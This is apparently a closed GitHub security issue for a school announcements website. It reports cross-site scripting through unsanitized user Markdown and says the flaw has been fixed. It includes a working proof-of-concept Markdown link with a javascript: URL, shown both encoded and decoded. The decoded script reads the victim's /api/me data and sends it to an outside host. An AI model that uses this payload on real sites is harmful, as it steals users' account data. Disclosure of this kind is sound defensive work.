wlmac / metropolis

William Lyon Mackenzie's online hub for announcements, calendar events, clubs, and timetables
https://maclyonsden.com
GNU Affero General Public License v3.0
21 stars 7 forks source link

XSS Because of Unsanitized User-Generated Markdown #165

Closed nyiyui closed 2 years ago

nyiyui commented 2 years ago

Unsanitized Markdown (martor, using safe_markdown) was shwon in the website, which allows XSS using the javascript: URL scheme.

For example:

[totally not xss](javascript:fetch(%27%2Fapi%2Fme%27).then(async%20(res)%3D%3Ewindow.location%20%3D%20%27https%3A%2F%2Fnyiyui.ca%2Ftotallynotxss%2F%27%20%2B%20encodeURIComponent(JSON.stringify(await%20res.json())))%3B)

(decoded JS)

fetch('/api/me').then(async (res)=>window.location = 'https://nyiyui.ca/totallynotxss/' + encodeURIComponent(JSON.stringify(await res.json())));

Fixed in production 2021-12-20T23:40:00±00:10:00.